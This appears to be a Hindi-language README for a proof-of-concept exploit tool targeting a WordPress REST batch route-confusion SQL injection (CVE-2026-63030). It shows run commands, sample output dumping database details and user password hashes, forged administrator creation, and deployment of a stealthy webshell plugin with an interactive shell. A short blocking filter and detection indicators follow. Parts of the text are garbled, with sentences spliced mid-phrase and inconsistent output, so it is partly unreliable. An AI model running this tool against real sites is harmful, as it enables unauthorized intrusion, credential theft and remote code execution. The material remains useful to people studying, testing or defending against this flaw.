
CVE-2026-63030 - WordPress REST Batch Route-Confusion SQL Injection प्रूफ ऑफ कॉन्सेप्ट
WordPress REST बैच रूट-कन्फ्यूज़न SQL इंजेक्शन (CVE-2026-63030) प्रूफ ऑफ कॉन्सेप्ट
शोध, एक्सप्लॉइट विकास और दस्तावेज़ीकरण: Ch4120N
यह रिपॉजिटरी और इसके साथ आने वाला टूल (exploit.py) पूर्ण रूप से केवल शैक्षिक उद्देश्यों, अधिकृत पेनेट्रेशन टेस्टिंग और सुरक्षा अनुसंधान के लिए है।
बिना स्पष्ट, पूर्व, लिखित सहमति के लक्ष्यों के विरुद्ध इस एक्सप्लॉइट का उपयोग करना अवैध है और वैश्विक स्तर पर कंप्यूटर धोखाधड़ी और दुरुपयोग कानूनों का उल्लंघन है। लेखक (Ch4120N) इस कोड के उपयोग से उत्पन्न किसी भी दुरुपयोग, क्षति या कानूनी परिणामों के लिए बिल्कुल भी उत्तरदायी नहीं है। हमेशा कानून की सीमा के भीतर कार्य करें और उचित प्राधिकरण प्राप्त करें।
CVE-2026-63030 एक गंभीर, बिना प्रमाणीकरण वाली भेद्यता है जो WordPress REST API को प्रभावित करती है। यह नेस्टेड बैच प्रोसेसिंग एंडपॉइंट (/wp-json/batch/v1 या /?rest_route=/batch/v1) के भीतर एक रूट-कन्फ्यूज़न बग का फायदा उठाती है।
जब WordPress REST API अनुरोधों के एक बैच को प्रोसेस करता है, तो यह निष्पादन से पहले प्रत्येक उप-अनुरोध को उसके विशिष्ट स्कीमा के विरुद्ध मान्य करता है। हालाँकि, आंतरिक रूटिंग पॉइंटर द्वारा जानबूझकर विकृत पथों (जैसे ///) को संभालने के तरीके में एक दोष के कारण, मान्यता स्कीमा वास्तविक निष्पादन हैंडलर से असंयोजित हो जाती है।
/wp/v2/users एंडपॉइंट (जो author_exclude स्वीकार नहीं करता) को लक्षित करने वाला अनुरोध /wp/v2/posts हैंडलर द्वारा निष्पादित हो जाता है। अस्वच्छित author_exclude पैरामीटर सीधे WP_Query के author__not_in क्लॉज़ में पास हो जाता है, जिसके परिणामस्वरूप बिना प्रमाणीकरण वाला SQL इंजेक्शन होता है।oembed_cache पोस्ट आईडी की पहचान करने के लिए किया जाता है। फिर एक्सप्लॉइट नेविगेशन मेनू कैश को पॉइज़न करने के लिए Customizer changeset पेलोड का उपयोग करता है, जिससे WordPress को किसी मौजूदा व्यवस्थापक के संदर्भ में उपयोगकर्ता-निर्माण अनुरोध निष्पादित करने के लिए धोखा दिया जाता है।pip install की आवश्यकता नहीं है।exploit.py) में सुव्यवस्थित रूप से व्यवस्थित हैं।WP_Post पंक्ति बनाकर इन-बैंड निष्कर्षण (प्रति मान 1 अनुरोध)।WP_DEBUG_DISPLAY सक्षम है तो EXTRACTVALUE() XPATH त्रुटियों का लाभ उठाता है।cd समर्थन)।कोई तृतीय-पक्ष पैकेज आवश्यक नहीं है। सुनिश्चित करें कि आपके पास Python 3.8 या उच्चतर स्थापित है।
# Clone the repository
git clone https://github.com/Ch4120N/CVE-2026-63030.git
cd CVE-2026-63030
# Make the script executable
chmod +x exploit.py
# Verify Python version
python3 --version
# Executing the script
python3 exploit.py
एक्सप्लॉइट तीन मुख्य उप-कमांडों में विभाजित है: check, read, और shell।
ये विकल्प सभी उप-कमांडों पर लागू होते हैं:
check - भेद्यता का पता लगानाडेटा निकाले बिना रूट-कन्फ्यूज़न मार्करों की उपस्थिति की पुष्टि करने और SQLi टाइमिंग का परीक्षण करने के लिए लक्ष्य की सुरक्षित रूप से जाँच करता है।
read - डेटाबेस निष्कर्षणSQL इंजेक्शन के माध्यम से सीधे डेटाबेस से डेटा निकालता है।
shell - रिमोट कोड निष्पादनवेबशेल तैनात करता है और कमांड निष्पादित करता है। यदि कोई क्रेडेंशियल प्रदान नहीं किया जाता है, तो यह स्वचालित रूप से प्री-ऑथ एडमिन निर्माण ब्रिज को ट्रिगर करता है।
नीचे टूल के वास्तविक दुनिया के उदाहरण दिए गए हैं।
$ python3 exploit.py check http://vulnerable-wordpress.local --confirm-sqli
[*] WordPress markers found (wp-content / wp-includes / wp-json)
[*] Public WordPress version hints:
- 6.9.2 via REST API generator (exploit affected range) - WordPress 6.9.2
[!] A public version hint falls in the exploit affected range; verify internally or confirm with authorization.
[*] Batch probe -> HTTP 207; markers matched: parse_path_failed, block_cannot_read, rest_batch_not_allowed
[+] VULNERABLE — batch route-confusion behavior detected.
[*] Sending active SQLi confirmation payload...
[+] SQLi confirmed — UNION fake-post read returned data.
$ python3 exploit.py read http://vulnerable-wordpress.local --preset fingerprint --technique union
[+] UNION extraction available (in-band, one request per value) — using it.
[+] MySQL version: 10.6.12-MariaDB-0ubuntu0.22.04.1
[+] Database user: wp_user@localhost
[+] Database name: wordpress_db
[*] 3 request(s) sent.
$ python3 exploit.py read http://vulnerable-wordpress.local --preset users --prefix wp_
[+] UNION extraction available (in-band, one request per value) — using it.
[*] 3 user(s) in wp_users.
1|admin|$P$Bx8vT9qZ2mK5jL8nP3rY7wE1cV0xZ
2|editor|$P$B9zX8vT2mK5jL8nP3rY7wE1cV0xZq
5|subscriber|$P$Bx8vT9qZ2mK5jL8nP3rY7wE1cV0xZqZ
[*] 15 request(s) sent.
ध्यान दें कि कैसे टूल स्वचालित रूप से एक एडमिन खाता बनाता है, शेल तैनात करता है, और बाहर निकलने के बाद सफाई करता है।
$ python3 exploit.py shell http://vulnerable-wordpress.local --interactive
[!] This uploads a plugin containing a webshell to the target.
[!] No credentials supplied; attempting pre-auth administrator creation.
[*] Creating administrator through the SQLi-to-customizer bridge...
Extracting table name...
Finding source admin ID...
Seeding oEmbed cache...
Forging changeset payload...
[+] Administrator created: wp2_a8f3b2c1
[*] Authenticating as 'wp_a8f3b2c1'...
[+] Authenticated.
[*] Deploying webshell plugin...
[+] Webshell: http://vulnerable-wordpress.local/wp-content/plugins/wp_9f8e7d6c/wp_9f8e7d6c.php
[*] Interactive shell — type commands, 'exit' or Ctrl-D to quit.
/var/www/html $ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/var/www/html $ cd /tmp
/tmp $ cat flag.txt
FLAG{r0ut3_c0nfus10n_1s_d4ng3r0us}
/tmp $ exit
[*] Deleting generated administrator...
[+] Generated administrator removed from the target.
[*] Cleaning up webshell...
[+] Webshell removed from the target.
एक्सप्लॉइट का मूल _DESYNC_PRIMER = {"method": "POST", "path": "///"} इंजेक्ट करने पर निर्भर करता है। यह अमान्य URL WordPress के आंतरिक रूटिंग को पहले उप-अनुरोध के लिए WP_Error उत्पन्न करने के लिए बाध्य करता है। यह आंतरिक पॉइंटर को स्थानांतरित करता है, जिससे दूसरा उप-अनुरोध एक स्कीमा के विरुद्ध मान्य किया जाता है लेकिन तीसरे उप-अनुरोध के हैंडलर द्वारा निष्पादित किया जाता है। यह author_exclude पैरामीटर को WP_Query में तस्करी करता है।
धीमी ब्लाइंड SQLi के बजाय, टूल एक पूर्ण रूप से निर्मित, नकली wp_posts पंक्ति इंजेक्ट करने के लिए UNION SELECT का उपयोग करता है। orderby=none और per_page=500 सेट करके, यह WP_Query को क्वेरी को विभाजित करने से रोकता है। इंजेक्टेड post_title में लक्ष्य SQL एक्सप्रेशन का हेक्स-एन्कोडेड परिणाम होता है, जो || डिलीमीटर में लिपटा होता है, जो सीधे REST API JSON प्रतिक्रिया में परिलक्षित होता है।
तैनात PHP प्लगइन उच्च गोपनीयता के लिए डिज़ाइन किया गया है:
wp_a1b2c3d4.php)।t) और कमांड (c) की आवश्यकता होती है।hash_equals() का उपयोग करता है।chdir)।EXPLOIT::...::END मार्करों में लपेटा जाता है।mu-plugins) के माध्यम से अक्षम करें:
add_filter( 'rest_request_before_callbacks', function( $response, $handler, $request ) {
if ( $request->get_route() === '/batch/v1' ) {
return new WP_Error( 'rest_disabled', 'Batch endpoint disabled', array( 'status' => 403 ) );
}
return $response;
}, 10, 3 );
author_exclude युक्त नेस्टेड /batch/v1 अनुरोध।UNION, SLEEP() या EXTRACTVALUE युक्त अनुरोध।/// जैसे विकृत पथ।wp-config.php में को पर सेट करना सुनिश्चित करें।"महान शक्ति के साथ महान जिम्मेदारी आती है। इस ज्ञान का उपयोग नष्ट करने के लिए नहीं, बल्कि रक्षा करने के लिए करें।"
— Ch4120N
| विकल्प | विवरण | डिफ़ॉल्ट |
|---|
url | लक्ष्य आधार URL (जैसे, http://target.com) | आवश्यक |
--rest-route | (पर्मालिंक अक्षम साइटों के लिए) /wp-json/batch/v1 के बजाय /?rest_route=/batch/v1 का उपयोग करें। | False |
--timeout | HTTP अनुरोध टाइमआउट सेकंडों में। | 30.0 |
--proxy | HTTP/HTTPS प्रॉक्सी (जैसे, http://127.0.0.1:8080)। | None |
| विकल्प | विवरण | डिफ़ॉल्ट |
|---|
--sleep | --confirm-sqli फ़ॉलबैक द्वारा उपयोग की जाने वाली SQL टाइमिंग देरी (सेकंड)। | 3.0 |
--samples | परीक्षण के लिए बेसलाइन/विलंबित SQL टाइमिंग जोड़ियों की संख्या। | 3 |
--confirm-sqli | एक सक्रिय SQLi पुष्टिकरण पेलोड भेजें (थोड़ी देरी जोड़ता है)। | False |
| विकल्प | विवरण | डिफ़ॉल्ट |
|---|
--preset | त्वरित निष्कर्षण प्रीसेट: fingerprint (संस्करण/उपयोगकर्ता/डीबी) या users (लॉगिन/हैश)। | fingerprint |
--query | एक कस्टम स्केलर SQL एक्सप्रेशन निष्पादित करें (जैसे, "SELECT @@version")। | None |
--prefix | डेटाबेस तालिका उपसर्ग। | wp_ |
--max-length | प्रति मान निकाले जाने वाले अधिकतम वर्ण। | 128 |
--technique | निष्कर्षण तकनीक: auto, union, error, या blind। | auto |
| विकल्प | विवरण | डिफ़ॉल्ट |
|---|
--user | व्यवस्थापक उपयोगकर्ता नाम। (प्री-ऑथ ब्रिज का उपयोग करने के लिए छोड़ दें)। | None |
--password | व्यवस्थापक पासवर्ड। (प्री-ऑथ ब्रिज का उपयोग करने के लिए छोड़ दें)। | None |
--cmd | लक्ष्य पर चलाने के लिए एकल कमांड। | None |
-i, --interactive | तैनाती के बाद एक इंटरैक्टिव शेल (REPL) खोलें। | False |
WP_DEBUG_DISPLAYfalse